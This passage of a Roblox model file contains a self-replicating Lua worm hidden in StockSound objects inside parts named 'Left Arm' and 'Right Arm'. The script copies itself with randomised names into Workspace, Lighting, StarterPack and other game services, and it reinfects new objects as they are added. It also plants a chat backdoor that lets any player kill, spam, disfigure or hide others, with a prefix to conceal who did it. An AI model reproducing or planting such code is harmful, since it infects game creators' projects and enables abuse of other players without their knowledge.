talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX616">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-157.03125</X>
								<Y>3.52191734</Y>
								<Z>4.42725372</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX617">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">kcoe</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX618">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">3sj96</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX619">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-155.380737</X>
								<Y>3.52191734</Y>
								<Z>6.93239594</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX620">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">kzqk</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX621">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">s3sc3t</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
